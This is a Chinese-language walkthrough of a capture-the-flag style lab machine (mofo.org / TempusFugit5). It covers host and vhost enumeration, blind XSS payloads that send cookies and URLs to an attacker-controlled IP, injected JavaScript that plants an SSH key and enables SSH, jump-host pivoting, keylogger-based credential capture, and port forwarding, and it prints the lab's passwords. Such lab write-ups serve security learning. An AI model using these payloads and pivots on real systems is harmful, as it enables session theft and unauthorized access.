信息搜集
主机发现
nmap -sn 192.168.8.0/24

端口扫描
nmap -sT --min-rate 10000 -p- 192.168.8.3

nmap -sT -sC -sV -O 192.168.8.3 -p80
只有一个80端口,nginx服务器

nginx页面泄露了一个邮箱

子域名枚举
gobuster vhost -u 192.168.8.3 --domain mofo.org -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain

拿到三个域名
admin.mofo.org
www.mofo.org
snap.mofo.org
一个可以拍摄快照,访问页面并截图

管理admin提示需要内网ip访问

有一个发邮件的位置

快照功能测试
admin的home页面

admin的key页面

admin的staff页面

admin的logs页面

盲打xss
抓包测试

抓包后发现会先检测csrf字段,先测试修改csrf能否成功发送

直接删掉csrf也能发送,可能后端就没有做任何校验

测试出只有邮件字段做了校验


注入3个payload
<img src=x onerror="new Image().src='http://192.168.8.11/xss-01/?u='+encodeURIComponent(location.href)">
<img src=x onerror="new Image().src='http://192.168.8.11/xss-02/?u='+encodeURIComponent(location.href)">
<img src=x onerror="new Image().src='http://192.168.8.11/xss-03/?u='+encodeURIComponent(document.cookie)">
分析一下payload
执行流程:
1. <img src=x> 加载失败,触发 onerror
2. onerror 新建一个对象 改为攻击者服务器的 URL
3. 发起一次恶意url请求
4. 结束
ps:比起onerror="this.src"让客户端陷入死循环和大量服务端噪音日志,新建对象会更隐蔽,危害性也更小
同时记得url编码

监听访问日志
同步启用kali apache2服务

等待一段时间,发现xss-03有了回显,说明csrf字段是可以注入xss执行js脚本的

泄露的文件是一个空白页面

尝试偷cookie
<img+src%3dx+onerror%3d"new+Image().src%3d'http%3a//192.168.8.11/xss-03/%3fu%3d'%2bencodeURIComponent(document.cookie)">
没有多余的信息, cookie 大概率是 HttpOnly做了限制

尝试盲打上传ssh密钥
本机生成私钥
ssh-keygen -t rsa -b 4096 -f ./id_rsa -C "tempus5"

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEwsJhxfzCpxbca+R3GTIOiRoU8pookLx0PWrZ9QW/p65udehTadcB1v3klMMN+92fRFIIwAb/xRfvqD6mnu+bCFi1Vt6wmM7RooG/siD//d+VLu5erIaAjBq42Oiq/ovLQafixeNjH/j9qC5Jn1oWtFZGHK0hNlOPzf9bYbnBZR+ULYyUPn27I70/2KMbPI5z/LpvJfmC10+vfyIN1/VzYONK1J7ftOujdLx3t4t2LsWxR3TduV27U0mRT5h2x41yk8YZ41UMg/7Ju5IMoHEtqxGvNPSsTQEI60sPpoDD679/6wzPImQUMka+nABCH0SOkLqC2RRvLctveKGwTrUoxIA//QMNYo9AtJIQX734fidLdajR+1W7yT1gOfpg3BWBQn1AvxiMUCuZ0mxx6T4t/OJO2IC6LmWmA2Dv5G0QpSKXocWA4JQSGkJBQReztAztP9Jp1lOnvgjJCZwcqL/mwfqgo9YpNJaeKCF9X6wRueX0XGwxOgeC3j7QLQ6OBkb1lv+p60zS+kLH3DAhihyZvmGu9RM+ad0IdJ1GgTKBKJc13LpiSG/jZvsLyT9pX219lOIH/CDP11JEYj8aBv02QRn7ookKPHeQUaPRtRmZk3w5yJBJoll5Vsey6e85Q6ZS5YsWhkcnXdJKljEX3+vQNhXcG6lCqV02ew7eEZWY8Q== tempus5
js脚本上传私钥
在http://admin.mofo.org/key页面,上传文件,xhr提交form表单提交
js
var xhr= new XMLHttpRequest();
var formData = new FormData();
var sshKey = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEwsJhxfzCpxbca+R3GTIOiRoU8pookLx0PWrZ9QW/p65udehTadcB1v3klMMN+92fRFIIwAb/xRfvqD6mnu+bCFi1Vt6wmM7RooG/siD//d+VLu5erIaAjBq42Oiq/ovLQafixeNjH/j9qC5Jn1oWtFZGHK0hNlOPzf9bYbnBZR+ULYyUPn27I70/2KMbPI5z/LpvJfmC10+vfyIN1/VzYONK1J7ftOujdLx3t4t2LsWxR3TduV27U0mRT5h2x41yk8YZ41UMg/7Ju5IMoHEtqxGvNPSsTQEI60sPpoDD679/6wzPImQUMka+nABCH0SOkLqC2RRvLctveKGwTrUoxIA//QMNYo9AtJIQX734fidLdajR+1W7yT1gOfpg3BWBQn1AvxiMUCuZ0mxx6T4t/OJO2IC6LmWmA2Dv5G0QpSKXocWA4JQSGkJBQReztAztP9Jp1lOnvgjJCZwcqL/mwfqgo9YpNJaeKCF9X6wRueX0XGwxOgeC3j7QLQ6OBkb1lv+p60zS+kLH3DAhihyZvmGu9RM+ad0IdJ1GgTKBKJc13LpiSG/jZvsLyT9pX219lOIH/CDP11JEYj8aBv02QRn7ookKPHeQUaPRtRmZk3w5yJBJoll5Vsey6e85Q6ZS5YsWhkcnXdJKljEX3+vQNhXcG6lCqV02ew7eEZWY8Q== tempus5';
var fileBlob = new Blob([sshKey],{type: 'application/octet-stream'});
formData.append('file',fileBlob,'id_rsa.pub');
formData.append('Submit','Submit');
xhr.open('POST','http://admin.mofo.org/key',false);
xhr.send(formData);
注入payload
<img src=x onerror="payload">

等待一段时间后,成功上传

js激活ssh
js
var xhr= new XMLHttpRequest();
xhr.open('POST','http://admin.mofo.org/',false);
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.send('Submit=Enable+SSH');
成功激活

端口已经打开

用户ctorres

跳板机登录
ssh -p2222 ctorres@192.168.8.3 -i id_rsa
登录提示被一块垫脚石中止

联想到有一个内网的ip192.168.150.1

尝试跳板机登录
ssh -i id_rsa -J ctorres@192.168.8.3:2222 ctorres@192.168.150.1

依然报错查看日志
ssh -i id_rsa -J ctorres@192.168.8.3:2222 ctorres@192.168.150.1 -vv

需要校验root目录下面的密钥,把文件复制到对应目录

成功拿到shell

提权
邮件文件泄露
send文件中显示员工ctorres似乎和上级领导有矛盾,发了一个邮件给外部人员,提示注入了payload

还有两个内部ip

hosts解析信息泄露

127.0.0.1 localhost
127.0.1.1 TempusFugit5.mofo.org TempusFugit5
192.168.150.1 tempusfugit5.mofo.org
192.168.150.10 snap.mofo.org
192.168.150.11 www.mofo.org
192.168.150.13 surfer.mofo.org
192.168.150.15 pass.mofo.org
192.168.150.1 admin.mofo.org
pass.mofo.org被植入了恶意脚本,似乎是监听键盘按键的

流量劫持
python3 -m http.server --bind 192.168.150.1 4444 | tee keys.log

grep -iE "key=" keys.log | tee keys.log
awk -F'key=' '{print $2}' keys.log | awk '{printf "%c", $1}'

hjanusisHi5CmhKNl9Tr0vVB
拿到了账号和密码
端口转发
两种端口转发都可以
ssh -i id_rsa -J ctorres@192.168.8.3:2222 -L 81:192.168.150.15:80 ctorres@192.168.150.1 -N
ssh -o ProxyCommand="ssh -i ./id_rsa -W %h:%p -p 2222 ctorres@192.168.8.3" -N -L 81:192.168.150.15:80 -i id_rsa ctorres@192.168.150.1

session存活时间改一下

成功登录

root密码
>,sdrXCaNaKj

成功拿到root
